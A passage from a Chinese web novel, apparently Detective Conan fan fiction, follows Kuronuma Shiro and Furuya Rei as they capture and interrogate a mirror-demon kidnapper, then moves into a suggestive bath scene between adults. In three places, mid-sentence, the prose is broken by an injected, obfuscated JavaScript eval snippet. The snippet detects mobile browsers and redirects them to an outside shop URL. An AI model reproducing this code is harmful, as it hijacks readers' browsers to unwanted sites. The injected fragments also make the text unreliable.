和那一位毫发无损的零先生一对比。 真是输得一塌糊涂呀,小阵平。 “喂hagi!” 原本坐在那不想出声搭理任何人的小松田啧了一声,额角的青筋跳了跳。 他身后细长的尾巴烦躁地拍打着沙发:“你在说什么鬼话啊,谁可怜了?!明明是这家伙趁人之危啊可恶!” 谁输了!? 要不是他中了阴招,加上这金毛太不合常理。 这家伙今天至少要被他打掉一颗牙! “没办法,谁叫这位松田小·弟·弟,在我们准备离开的途中突然像是昏了头一样攻击我呢,我也只是正当防卫而已。” 正在检查黑沼四白状态的降谷零头都没抬一下,漫不经心地回话。 直到把黑沼四白一直放在口袋里的那只手拿出来,看到她手上缠着的绷带时,青年勉强还算平静的脸色一下子就沉了下去。 他摸了摸包扎的还算良好的绷带问道:“是这小子伤的你吗?shiro。” 要是在那狐狸脸的脑门上开个洞。 一定会很漂亮吧? 不管心里如何想,至少表面上降谷零还是一派稳重的大人模样。 他静静等待黑沼四白的回答。 或者说,等待她的允许。 “啊,是我不小心刮到了。” 黑沼四白不再观察地上躺着的那具木乃伊,抬头朝濒临炸毛的幼驯染弯了弯眼睛,又轻轻捏捏他的指尖。 “只是一点点划伤而已,已经处理过了,所以不碍事的。” 零是很容易迁怒的性格,还是不要再迫害这两个孩子了吧。 黑沼四白不是在发散无用的同情心。 在她看来,这些只是无伤大雅的小事,何况她也没有受重伤。 他们不会在这里待的太久,没必要横生枝节。 而且根据规定,一定条件下,在小世界是不能随意杀人的。 她试图转移降谷零的注意力:“说起来要不是萩原君,今晚我就有大麻烦了呢,不要欺负他们哦。” 捏着黑沼四白手腕的青年没有急着询问,而是带着她坐到一边的单人沙发上。 旁若无人地让她侧坐在他右腿上。 谁知道这地方干不干净,还是坐他身上比较安全,更何况…… 紫灰色的眼眸里带着不明的晦涩,极快地扫过状似无事发生的两个少年。 怎么说都是同位体。 这两个会不会和雅文邑跟麦卡伦一样,对别人家的宝物抱有不该有的心思呢? 就算有,也得给他掐灭了。 不过是区区过客。 无声宣告了主权之后,降谷零没再关注突然对视起来的两个非人类。 他抬眼望进那片绚丽的樱花海,轻声问道:“看来在我们分开这段时间里,shiro也过得很精彩嘛,可以和我说说吗?” · 于是黑沼四白把自己的血液对怪异的影响告诉了降谷零,顺带提了一嘴不久前经历的那一场大逃杀。 “那还真是要多亏萩原君了。” 降谷零顺着她之前的话,对一旁静静听着的小萩原点了点头算是道谢。 “我家的这孩子身体一直不好,之前也没有在外面遇到受伤流血的情况,这么一想今晚还真是惊险。” 论语言的艺术。 黑沼四白眼见着他说完之后,小萩原露出了失落的表情。 再这样下去这两人简直要纠缠着没完没了,总之还是要先结束这个话题。 “说起来我好奇好久了,那边的那个是什么?”黑沼四白再次换了个新话题,“是绑架犯吗?它为什么没动静了?” 已经过去十多分钟了,那一坨一直像死物一样一动不动。 心里很不爽的青年危险地眯了眯眼,到底随了她的意愿,顺势回道:“嗯,确实是绑了我的家伙,能力大概是一个会把人放到另一个空间里去。” 他扫了一眼满脸不爽的小松田:“或许还有制造幻像的能力,这点松田君应该深有体会。” 可惜这小子太抗揍,不然地上躺着的“尸体”还能多一具。 “这是镜鬼,没动静是因为被打晕了。”小松田翻了个白眼,忽视大猩猩的阴阳怪气,“也可能是已经被某人打死了。” 小萩原恍然大悟:“啊,原来如此!” “怪不得小阵平会一下子就被抓走了,镜鬼的能力之一就是通过镜面将人或物转移,属于一种空间能力。” 他看向黑沼四白补充道:“这个种族的另一个能力就是可以对固定对象编织幻境,诱导猎物自相残杀。” 黑沼四白捏着降谷零的指尖沉思,听起来这个镜鬼不像是什么正派的怪异。 正经怪异也不会随地绑架人。 正想着,就听小萩原再次补充:“上周协会那边公布的通缉名单里就有镜鬼哦,只是不知道是不是这一个。” 小松田也点了点头:“啊,那个镜鬼的通缉令上还注明了可能会制造分身的情报。” 嗯?分身? 黑沼四白和降谷零对视了一眼,两人瞬间警觉了起来。 “那么有没有一种可能,地上那个已经不是那只镜鬼了?” 说话间,黑沼四白掌心已经多出一把小巧精致的手/枪。 她在两个少年惊讶的目光里,毫不犹豫地对着地上的“镜鬼”扣下了扳机。 “啪嚓!” 并非是击中血肉的声音,而是镜子被打破时的脆响。 —— “好险,差点就被抓到了。” 一团黑影在消防通道的角落里缩成一团喃喃自语。 “什么鬼啊!人类居然会有那么大的力气吗?难道人类已经偷偷研制出人形兵器了?” “还好我通过那位大人获得了新能力,不然今天怕是就要栽到区区一只梦魔崽子和人类手里了,怕不是要沦为大家口中的笑柄。” “可恶!等我一会填饱肚子恢复了体力,我一定要那个人类好看!区区人类——” “哦?你要怎么让人类好看? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986149|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “当然是打断他的手脚,把他献给那位大人做素材了……谁?!” 条件反射回答了问题的黑影瞬间原地弹起,对着空无一人的楼道高声质问。 一只手搭在了他的肩膀上,巨大的力气几乎让他的骨头咔咔作响。 他一顿一顿地回过头。 只见眼前的黑暗竟像雾气凝成的墙壁一样,短暂地翻涌过后渐渐消散。 露出了后面三男一女四个人。 顺着按住他肩膀的那只手看过去。 在看清了那头熟悉的金发后,黑影——不,镜鬼露出了近乎绝望的惊恐表情。 · “好啦,捕获成功~”小萩原伸手比了个V,“幸好他今天还没进食,之前用了几次能力消耗掉了他的体力,抓起来还算容易。” 目送降谷零拎着镜鬼走向套间的其中一个卧室。 毕竟他接下来要做的可能有点不适合未成年观看。 黑沼四白转身对眼睛闪闪发光的小萩原夸奖道:“多亏了萩原君的能力呢,真是帮了大忙了。” 没想到居然会是这样的能力,她这下是真的有点好奇小萩原是什么怪异了。 “是秘密哦,小姐姐可以自己猜猜看。”像是看出黑沼四白在好奇,小萩原笑眯眯地歪头,“话说,到现在都还不知道小姐姐的名字呢~” “我是研二,萩原研二。”他指了指一边平静下来不知在想什么的小松田介绍,“这个是小阵平,松田阵平。” 这个熟悉的自我介绍方式。 黑沼四白短暂想起了很久之前,在某间昏暗酒馆里与雅文邑和麦卡伦相遇的场景。 习惯性转了转手腕上不会发出响声的手环,黑沼四白笑着告诉他自己的名字。 “哇,好特别——” 没等小萩原继续说下去,降谷零拎着看上去毫无变化的镜鬼走了出来。 随手把捆好的一坨丢在了地上,他一边摘下手套,一边走过来把站在客厅的黑沼四白揽到沙发处。 两人又恢复了之前的坐姿。 警告一般扫了一眼面上带笑的小萩原,顺带刮了一眼满脸事不关己的小松田。 降谷零才对黑沼四白点了点头,示意镜鬼已经被搞定了。 “已经确定过了,这家伙就是被通缉的那一只镜鬼。”他十分自然地从黑沼四白外套的口袋里摸出了烟盒,“shiro有想问的可以尽管问,他会好好回答的。” 巧克力浓郁的香味在房间中弥漫。 咬着递到唇边的香烟,黑沼四白浅浅吸了一口,借用道具的作用提神。 就着幼驯染的手慢悠悠地吸了半支烟,她完全没有关注降谷零和两位少年之间的眼神交锋。 黑沼四白是典型的充电两小时,运行五分钟的低精力人士。 虽然表面上看不出来,但她这会确实已经觉得疲惫了。 貌似降谷零用起这些道具来,好像比她自己还会掌握时机。 拍了拍降谷零的手腕示意,也没在意他转而把半支烟叼在唇间的行为。 黑沼四白抬起之前有些恹恹垂下的眼帘,淡粉色的眼眸轻飘飘地环视了一周。 最后落在被捆得严严实实地放在地上,脸上一片空白的镜鬼身上。 黑沼四白轻轻勾起唇角,声音也带上了轻飘飘的感觉: “让我们来,好好聊一聊吧?” 铃—— 镜鬼听到了清脆的铃铛声。 9. 怪异都市(六) “你的名字是?” “宫城、良造。” “为什么要抓走这两人。” “是那位大人下的命令,给我们看了照片,要求抓到上面的人。” “抓人的原因呢?” “不、不知道。” “那位大人是什么人?” “我没有见过那位大人的真面目,大人每次见面都是不同的面孔,只知道是一位有非凡能力的人类。” 人类?不是怪异吗? 黑沼四白有些惊讶地挑了下眉梢,随后问道:“你们平时都是怎么联络的?那个人有固定的居住地吗?” 本名宫城良造的镜鬼木然的脸上突兀地泛上一层青黑,他徒劳地张了张嘴,却像被什么扼住了脖颈一般说不出半个字。 好的,这是被做了手脚了,幕后之人藏的倒是深。 能力也令人匪夷所思。 眼见着唯一的线索快要窒息而死,黑沼四白换了个问题:“不用再想之前的问题了,你还知道关于那位大人的什么事?” 宫城良造瘫在地上急促地喘息,过了好一会才回答道:“每隔三天,那位大人都会出现在夜间集市上,寻找像我这样的家伙收用。” “上一次是什么时候。” “昨天。” 没有继续提问,黑沼四白轻轻转动着腕间的手环陷入了思考。 室内只能听到空调运行的嗡鸣,和几道不是很同步的轻浅呼吸声。 今天是黑沼四白和降谷零来到这个世界的第二晚,昨天则是检测到类病毒因子波动反应,开始任务的第一天。 有点巧了。 可黑沼四白从来不相信巧合,看来这所谓的“那位大人”有点东西在身上的。 那个人极有可能是宿体,或者是持有宿体的人。 这样猜测的原因很简单。 身为普通的人类,却拥有不同于常人和怪异的能力。 根据镜鬼之前的自言自语,或许他还能让原本能力固定的怪异多出新能力。 这样匪夷所思的事,也只有类病毒因子可以解释了。 黑沼四白垂下眼帘,细密的白色眼睫盖住了眼中的些许诧异。 这东西居然还会给宿体升级? 稍微有点过分了吧? 004:【叮!宿主自主意识程度已达标,类病毒因子相关情报①已解锁。】 【主系统致业务员04号的温馨提示①: 类病毒因子附着小世界宿体时,会对物体或人体的性质产生扭曲,借此牵引小世界与源世界产生碰撞。 请宿主注意,务必将其完全清除。 以绝后患。】 【啧。】看着眼前突然跳出来的系统提示,黑沼四白不爽地眯了眯眼,【好一招马后炮,再晚点我自己都想出来了,主系统这是终于卡机了吗?】 没法回答这个尖锐的问题,004只能发出谄媚的电子笑声。 它连连恭维不高兴的独苗苗宿主:【宿主大大威武!不愧是004最崇拜的shiro大人!您最厉害了!】 主系统因为分出去太多能量变得越来越人机了这件事,它004也没办法往外说啊。 它们系统说到底就是代码和程序的集合体,只能按照之前输入的指令行事。 主系统也不例外。 现阶段的主系统消耗太大,已经不太能像之前那样灵活处理和运算了。 幸亏它家宿主足够敏锐,不然这部分情报始终无法解锁,之后肯定会出事的。 · 黑沼四白不知道004百转千回的脑回路,她这会只觉得事情变得有些棘手了。 已知和宿体相关的情报: 真面目不明,具体能力不明,暂时明晚会出现在集市的“那位大人”。 拥有可以为本世界怪异增添能力的奇怪本事,手下所控怪异人数不明。 还有,对方要抓捕的人…… 想到这里,黑沼四白再次开口询问宫城良造:“那张照片上一共有几人,照片还在吗?” 宫城良造:“一共七人。在,我偷偷从邮箱里保存了下来,就在手机的保密相册里。” 降谷零从口袋里拿出宫城良造的手机,又取出一个小物件插到手机上。 耗时不超过一分钟,这部手机上已经没有任何需要密码解锁的软件了。 来自情报专家的小技巧。 黑沼四白接过他递来的手机,屏幕上正是那张照片。 说是一张照片,其实也只是电脑绘制的人像图而已。 几乎都是熟悉的脸。 萩原研二、松田阵平、降谷零、诸伏景光四人赫然在列。 甚至还有黑麦威士忌,组织里的那匹孤狼,赤井秀一。 留着银色长发的高大男人——黑泽阵,黑沼四白原世界的公安长官,前卧底。 最后一人倒是没见过,黑发蓝眸的小少年,戴着一副大大的眼镜。 不过这孩子的事现在倒不是很重要。 值得思考的是,为什么对方会想要抓住这几人呢? 线索不足,光凭猜测是不行的。 总之,还是要先行动起来。 黑沼四白决定先不为难自己,她看向眸色沉沉的幼驯染说道:“零,请宫城先生先去休息一下,然后我们再来商量之后的事吧?” “了解。” 降谷零弯起眼睛朝黑沼四白露出一个闪闪发光的可爱笑容,轻巧地起身把她安放在地上。 确认她站稳了之后,青年才戴好手套,拎起已经放空了眼神的宫城良造又走向了之前那间屋子。 随手把人丢在床铺上,降谷零看着对方一副半痴傻的模样歪头思考了一下。 既然那孩子没有说要处理掉,那暂时让人活着也没什么,不过—— 醒着就不必了。 戴着轻薄手套的手捏了下他的后颈,身份惨遭逆转的囚徒缓缓闭上眼睛,陷入了昏睡。 做完这些犹嫌不足,生性谨慎的青年又从口袋里摸出一个密封上锁的扁平盒子。 严谨的重重封锁下,盒子里只装着一条项链一样的铁环。 动作轻巧地把东西固定在对方的脖子上,只从表面上看就像一个毫无危险性的装饰品。 已经知道了要与shiro一起进行任务,他怎么可能就这样赤条条地出发呢? 当然是做足了准备的。 麦卡伦那家伙虽然让人不爽,但他的研究一向有趣,刚好可以拿来试试效果。 好用固然不错,万一有点小问题,回去也能给那卷毛添个堵。 这一波是降谷零的双赢。 他抛接着手里已经空了的盒子,转身走了出去,顺便把门从外面上了锁。 —— 来到酒店后不过短短一小时,眼前发生的一切,都有些超出了小萩原对于黑沼四白和降谷零二人的认知。 心中不禁对他们二人产生了些许怀疑。 还不等他出言试探,黑沼四白已经先一步对他说道:“萩原君和松田君今晚也辛苦了,明天就是星期一了呀,还是要早些回家休息吧?” 面前的年轻女性眉眼弯弯,展露的笑容格外温和。 纵使眉宇间带着些许病气,也依旧是一张堪称瑰宝般的美人面。 但直面美人笑脸的萩原研二,却对这张脸生不出半点欣赏的感觉。 尤其是见过她问话的全程,与那位“零先生”的互动,还有——那把枪之后。 他们绝对不简单。 少年突然觉得后背隐隐发冷,那是来自他血脉深处的本能在不停的警告他——危险!尽快远离这个人! 萩原研二面上挂着的甜笑慢慢落下,就算再怎么早熟和聪慧,他也只是还未成年的怪异。 一直处于协会规则的庇护下,最离经叛道的行为也只是偶尔偷偷跑到夜间集市上四处溜达。 怪异之间是存在阶层压制的。 但萩原研二是属于罕见的返祖血脉,一向没有在什么生物身上感受到过危险。 所以他的性格才格外自由一些。 可萩原研二此刻却从今晚这位险些被他抓住逼供,又被他带着逃跑的柔弱人类身上,切实地感觉到了被捕食者盯上的危险。 固有的认知被打破,加上未知的刺激,让他有些应激地缩紧了瞳孔。 不待萩原研二做出反应。 “喂hagi,走了。” 一直坐在他身边的松田阵平突然出声,打断了萩原研二的脑内风暴。 一贯以不好惹和暴躁的面孔示人的少年,其实有一颗极度敏锐的心。 作为梦魔又对情绪十分敏感。 感觉到幼驯染的混乱后,果断出声干预,并提出离开的意愿。 确实是当下情况的最优解,萩原研二瞬间醒神。 白色长发的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986150|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女性抬眼看了过来,多瞧了一眼松田阵平,随后是身上无形的压迫感缓缓褪去。 她剔透如宝石的粉色眼眸里好像多了一丝真正的笑意,之前无处不在的危机感消失不见。 被放过了,半长发的少年意识到。 她轻声道别:“慢走,祝二位今晚有一个好梦。” 松田阵平没说话,甩了甩细长的尾巴,小小的三角形尾尖在半空中摇晃了几下。 他毫不客气地扯着萩原研二的后衣领,头也不回地离开了这间套房。 “你是傻子吗?” 回去的路上,松田阵平沉着脸对萩原研二说道:“明知道他们俩不是什么善茬,还敢试探?不想活了也不用上赶着找最难看的死法吧?” 你以为他在那两人面前装疯卖傻是因为什么? 他松田阵平是脾气不好,但也不至于是那副冲动无脑的傻缺模样。 昨晚看到了那个金毛的梦,加上他们醒来后的一个照面,他就感觉到了这两个人的危险性。 顺着本能伪装起来,通过放大情绪暗示自己对他们毫无威胁,让那两人不至于对他下手。 方便保住小命。 结果身边这傻子平时看着挺聪明,这会倒是直挺挺地撞上去了,甚至还在挑衅。 幸亏那两人不是什么嗜杀的家伙。 不然今天他俩就是交代在那了也没什么奇怪的。 “小阵平——!” 萩原研二不可置信地看向嘴巴超毒的幼驯染,“你三十七度的嘴是怎么说出来这么冰冷的话的?!这时候不是应该安慰hagi的吗!?” 松田阵平额角青筋暴起:信不信老子把你扔回去啊! 于是结束了这场短暂探险的两个少年踏着夜色,走回了他们原本的生活轨迹。 · “走了?” 降谷零走过来,站在黑沼四白身后把头搭在她头顶上蹭了蹭。 “嗯。”黑沼四白弯唇轻笑,踮脚顶了顶他的下巴,“稍微吓唬了一下不听话的小朋友,只是好像有些做过头了。” 完全应激了啊,那两个孩子。 “嗤——”降谷零漫不经心地嗤笑一声,“小崽子还想上天?还是乖乖回家睡觉去吧,他们的作用也就到这了。” 碍眼的很,不走还想赖上他们不成? 黑沼四白非常习惯自家幼驯染的阴阳怪气,她挽着降谷零的手臂走出房间,准备回他们自己的房间再商量接下来的计划。 在别人的地盘商量正事可不行,更何况她现在更想洗个澡,感觉身上都是灰尘。 —— 浴室里水雾弥漫,苍白细腻的肌肤被水汽蒸出了一些血色,看起来健康了不少。 深色的大手带着充盈的泡沫,在白发中穿梭,力度适中的按压着头皮。 “今晚的行动就此中止吧,一会稍微查一下照片上的那几人各自的情报。”黑沼四白向后靠了靠,半睁开一只眼看向镜中人,“然后明天白天再去确认一下,必要的情况下可以先把人都控制起来,唔……” “别偷偷睁眼啊,泡沫会跑进去的。” 降谷零无奈地叹了口气,拿起一旁的毛巾给她擦了擦眼角,顺手把毛巾盖在了她眼睛上,“嗯,总比被抓去添乱来的好,然后明晚就去探探那个人的底。” “要冲水了,不许睁眼。”他拿起花洒,动作轻柔地冲去发间的泡沫,“技能不能使用影响倒是不大,我带了有趣的小道具,或许会派上用场也说不定。” “比如新型的项圈炸弹?” “shiro又知道了?” 水流停了下来,头发被柔软的毛巾包裹住,熟练的擦拭着残留的水分。 “哼哼,我还知道零肯定给宫城良造安排上了,这叫未卜先知!” 盖在眼上的毛巾被拿掉,隔着镜子上朦胧的水汽看着身后人挑眉。 “好好,不愧是我们家的shiro大人。”青年由着她闹,用干发帽把长发妥善收起,“好了,可以进去泡澡了哦。” 他单手把她抱了起来,白色浴巾被他随手挂在了一旁,浴缸里水温正好。 黑沼四白拨弄着水面上的泡泡,皱眉道:“只是,总觉得准备不足,就这样开启BOSS战不太好吧?” 水滴顺着金色发梢落下,沿着肩膀渐渐下滑,隐没在腰间的浴巾里。 冲洗好自己的青年走过来,对她露出了一个甜蜜的笑。 10. 怪异都市(七) 他明明知道的…… 诸伏景光可以用通讯器在另一个世界看到他们在做什么,这个人却完全没有一点收敛的意思。 莫名其妙地被蛊惑到,开始了亲吻。 先是唇瓣贴过来试探,湿热的舌尖轻缓地舔咬吮吸,又深深浅浅地探入口中勾着她交换津液。 只是亲吻就已经刺激得很超过了。 意识好像变成了漂浮在浴室里的水汽,上上下下飘忽不定地浮动着。 找不到着落点。 半阖着的眼被浴室灯光晃得眼前满是光晕,大颗大颗的泪珠从泛起晕红的眼眶里滚落,又被细细地卷入口中。 “都这么久了,shiro怎么还是会被亲哭呀,和hiro亲的时候明明更温柔但也会哭的吧?” 亲吻也止不住的话语,十分可恶。 “脸颊红红的好可爱,我可以咬吗?” 贴近耳边用轻快的语气说着。 “唔……” 未说出口的话语被突如其来的深吻堵了回去。 提问了又完全不给她回答的机会,捧着脸颊用力地吻了进来,这是完全的侵占行为。 白皙纤细的手松松环在宽厚的肩膀上。 湿漉漉的触感让黑沼四白无意识地用力,试图抓紧在水中唯一的依靠。 巧克力一般的肤色,和苍白的指尖形成了鲜明的对比。 水声摇曳间是足以让人呼吸一窒的靡艳景象。 紫灰色变得更加幽深,修长的手指顺着肌理下滑,慢条斯理。 引得女孩子骤然绷紧了腰肢。 甜得浸了蜜一般的轻哼骤然拔高,伴着喘息传入耳中。 金发男人面上带着笑,一下一下地啄吻着她微肿的嘴唇,手上动作却丝毫不肯停下。 他牢牢地盯着令他眷恋的樱花海。 无力的手从堪堪搭住紧绷的肩膀,变成了抓住微湿的柔软金发。 无论多少次都招架不住的、摆脱不掉的、黏黏糊糊的亲吻。 滚烫的、熟悉的气息紧贴着她。 完全丧失了主导权,被金发的控制狂仔仔细细地检查了一遍身体状况。 眼尾的红晕愈发深刻,白色长睫上挂着晶莹的水珠,随着眨眼的动作滑下眼角。 意识朦胧间被抱了起来,身上残余的水珠也被轻柔地擦拭。 有谁给她穿上了睡袍。 直到被抱在怀里吹干头发,连皮肤护理都做好后放在床上。 黑沼四白才迷迷糊糊地回复了些意识。 “……太过分了。” 她的嗓音是还没彻底缓过来的微哑。 身后抱着黑沼四白靠在床头的家伙一手摆弄着手机,一手按在她有些酸胀的腰腹处轻按。 降谷零闻言,哼笑一声反问道:“哪一部分过分了?这种程度shiro应该已经习惯了吧?这次的反应倒是格外大呢,是这几天没有都做过的原因吗?” 这人都说的什么狗言狗语。 因为是一如既往地没有做到最后。 这种程度早就在和他们两人长年累月的接触中适应了下来,黑沼四白确实还算能扛得住。 关键是一想到通讯器另一端还有家里的猫在看…… 这就有点受不住了。 微妙的羞耻感,看不见的第三人。 加上降谷零闲不住的嘴巴里,总是蹦出让人羞耻感爆棚的话。 真的很难绷,一下就被彻底击溃了。 靠在他胸口放空眼神,黑沼四白从沙漏里拿出烟盒,慢吞吞地叼了一支咬在口中。 没有急着接上他的话,她半阖着眼点燃了道具香烟,深深吸一口巧克力味道的烟雾。 以前自己做任务的时候倒没有觉得,现在看来,这个道具被放在珍稀品质里有点委屈了。 按照它救命稻草般的效果,至少该给它评一个传说品质。 黑沼四白懒洋洋地踢踢降谷零的小腿:“你回去之后绝对会挨揍的,hiro肯定要生气了。” 背着幼驯染偷吃,还给看现场直播。 那个人现在八成正憋着满肚子的坏水,等着这得意忘形的家伙回去后,一点点慢慢地报复他呢。 家中食物链顶端的小光大人,生起气来超可怕的,自求多福吧零君。 “那shiro也逃不掉的哦,等下次hiro过来一定会狠狠欺负你的。”降谷零把手机放下,从床头柜上拿起笔记本电脑。 手上动作不停,他面上却不怀好意地笑道:“所以下次还是让我来吧?” 来个锤子。 算盘珠子都要崩到她脸上来了。 突然想到了什么,黑沼四白的呼吸短暂地停顿了一瞬。 她侧头看向正在调查情报,也不忘给另一个幼驯染挖坑的金发幼驯染。 你这是真的不想好了啊,零。 是做完这个任务之后就不打算回家了吗?日子不过了吗? 一口气把诸伏景光得罪个彻底,是觉得最近活着对你来讲有点过于轻松了吗? 降谷零笑眯眯地看了一眼黑沼四白脸上不停变换的神色,同时一心二用地扫过电脑屏幕上的各类情报。 当然要趁着不在眼前使劲挑衅了,上周他出差,家里只剩下hiro和shiro。 那家伙可是争宠争得更过分呢。 通过家里安放的摄像头旁观了一切的波本,对偷腥猫苏格兰的行为表示唾弃。 并完美复刻了一遍。 这才叫公平嘛,降谷零唇角的笑意加深了一些。 就算回去之后就要面临hiro的恶作剧,也打消不了他此刻心头泛起的愉悦感。 “滴滴——” 不等黑沼四白对他的暴言发表意见,放在枕边的通讯器突然响了起来。 好的,似曾相识的场景,被害人找上门来了。 黑沼四白在不停尖叫的通讯器和越笑越瘆人的降谷零之间,选择了装死。 这种时候就是要装作自己不存在,让他们两个自己吵出来一个章程就好了。 不然到最后吃亏的总是自己。 以上是来自黑沼四白的经验之谈。 上周刚刚经历过类似场景,被迫在一通越洋电话和诸伏景光的作乱中意乱情迷的经历,她真的不想再来一次了。 简直是没完没了。 两只都是心眼子巨多的大尾巴狼人,没有一个是正直村民。 她可不想再被他们套路进去了。 —— 定好的闹钟准时响起。 黑沼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986151|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四白用额头撞了撞身边人的胸口,示意他赶快关掉吵闹的小恶魔。 被按着揉捏了一顿,彻底清醒。 在降谷零悠哉起床的时候,黑沼四白还处于瘫在床上不想动的状态。 感觉身体被掏空。 昨晚的一切完全不想再度回忆。 真正的受害人黑沼四白,至今眼尾还带着绯红,唇瓣的肿胀感也并未褪去。 整个人焕然一新的降谷零毫不心虚地扶着黑沼四白,让她靠坐在床头。 还贴心地加了个枕头在她腰后垫着。 坐起来的瞬间就感觉到一股暖流,黑沼四白深吸一口气,咬着牙瞪了一眼正打电话订餐的家伙。 被卡在身体极限的边缘狠狠地蹂躏了一通,还夹杂着通讯器另一端诸伏景光如常发挥的坏心眼。 有一种小腹和腿根还在轻微抽搐的幻觉,腰以下现在都还是软的。 可见这两人到底做到了什么程度。 一切都不出黑沼四白所料,昨晚降谷零和诸伏景光的言语交锋,最终还是波及到了她。 用尽全力地装死依旧没躲过去。 互相太了解也不是很妙的一件事,三人在一起的混乱关系就更不妙了。 黑沼四白捂住眼睛,埋头叹气。 “怎么了?还有哪里不舒服吗?”降谷零放下手机,走过来托起她的脸亲了亲。 起床之前有好好关照过,现在应该不会有不舒服的地方才对。 嗯……除了会觉得腿软以外。 看了一眼她被盖在被子下的腰腿,降谷零在心里补充道。 黑沼四白盯着他神采奕奕的脸,恨恨地咬了一口凑过来的唇瓣。 凭什么同样是纵欲玩闹了半个晚上,她都已经被掏空了,这人却依旧一副神清气爽的样子啊! 真是可恶的精力怪,大猩猩! 给她等着! 总有一天,她一定会扳回一局的。 “……最近,都不想再……了。” 不管心里在想什么报复计划一二三,总之黑沼四白面上果断弱弱地认了怂。 环着幼驯染的脖子不撒手,把脸凑过去像小狗一样来回蹭着他的脸颊。 降谷零搂着怀里软乎乎耍赖的一团,哭笑不得地把她从被子里抱了出来。 离开这间侧卧,向浴室的方向走去。 “本意是想让你放松一下的,结果被hiro挑衅了一下,不小心有些做过头了。” “明明是零先挑衅小光的吧?” “嘛……上次hiro也是这样的嘛,这叫礼尚往来。” “哈,最后倒霉的却是我。” 降谷零转移话题:“总之在早餐送过来之前先冲个澡,一直这样shiro也会觉得有些不舒服的吧?” “你不觉得你知道的太多了吗?” 黑沼四白危险地眯起眼睛,侧头盯着单手抱着自己调试水温的降谷零的侧脸。 金发青年弯起眼睛,露出狡猾又可爱的笑脸,让人完全不忍苛责他。 说出的话却没有笑容那般纯良:“因为是shiro嘛,你的事情,作为幼驯染的我都很清楚哦。” 温热带着些粗糙的指尖轻轻触碰。 本就泛红的眼尾,又多了一抹红。 11. 怪异都市(八) “一会出门穿这一件怎么样?” 翘着腿坐在餐椅上的降谷零笑着问道,并把手里的屏幕转向了黑沼四白的方向。 咽下口中的食物,黑沼四白抬眼瞧了一下,不甚关心地点了点头: “就它吧,零的眼光一向很好。” 她对穿什么不挑,不冷不热的就行。 降谷零手上的是一件道具——【白白衣柜】。 是黑沼四白曾经某次抽奖的产物。 虽然不知道系统奖池里为什么会有这种无厘头的东西在里面,但单从作用上来讲,它还是很实用的。 收录了黑沼四白抽到过的所有着装类物品,使用时会具象成平板电脑的模样。 只要点一点就能获得一套新衣服。 黑沼四白有时会用它来偷懒,做某些事的时候拿来临时换装也很方便。 顺带一提,降谷零貌似对这个道具很有兴趣,从吃完他那份早餐后就一直在研究了。 于是早餐结束半小时后。 黑沼四白看着镜子中焕然一新的自己,又看看正迅速把她昨天的衣物扔进垃圾桶的降谷零。 她无言地眨眨眼。 话说零他到底是对她昨天的打扮有多不满,倒也不至于这么迫不及待地就把它们丢掉吧? 好像从很久以前就是这样了。 降谷零和诸伏景光两个人对他们自己算不上上心,一向是什么样的衣服都能穿。 可他们却对打扮她这件事情有独钟。 偏偏黑沼四白自己是一个舒适派实用主义,主打一个能见人,穿着舒服就可以的态度。 十分随意。 于是不知从何时起,家里的衣帽间变成了两位男士的统治领域。 她只需要准备好人,就可以漂漂亮亮的出门了。 而黑沼四白昨天穿的是从源世界带来的衣服,普通的黑色薄卫衣加长裤,搭了一件黑色外套。 遮住脸的情况下,完全就是丢进人堆里都找不到的模样,主打一个随意又方便。 而今天嘛…… 墨绿色的长袖小洋裙,裙摆上绣着大片的黑色山茶花线条。 搭配了一掌宽的黑色皮质绑带束腰,仔细地调整到好看又不会让她不舒服的松紧度。 担心黑沼四白到了晚间会觉得冷,一旁的沙发上还搭着降谷零找了好一会的、一条同系列的精致小斗篷。 打理整齐的白色长发披在背上。 从两边各取两缕发丝编成小麻花辫绕到脑后,系上了同色系坠着小宝石的发带。 降谷零的这一套搭配,在好看程度上已经超过了道具上的预览图片。 从黑沼四白的视角看去,镜中立着一位苍白纤细的优雅美人。 眉间的三分病气,恹恹半阖的眼,和微抿着的淡色薄唇构成了她独一份的辨识度。 整个人闪闪发光的模样,和昨天那个全靠一张脸支撑的、灰扑扑的路人甲形象堪称天差地别。 原本以为就算没有两个幼驯染在身边,她也把自己养的挺好的。 现在这么一看,黑沼四白感觉昨天的她仿佛是流浪了好些天的野猫。 “昨天就想带shiro去买新衣服的,但想着是在做任务,抱着不添乱的想法暂时搁置了。”降谷零从身后搂着她的腰,笑眯眯地在镜子里和她对视,“这个道具超便利哎,还可以省去出门和清洗衣物的时间。” 他看起来很满意这份成果的样子。 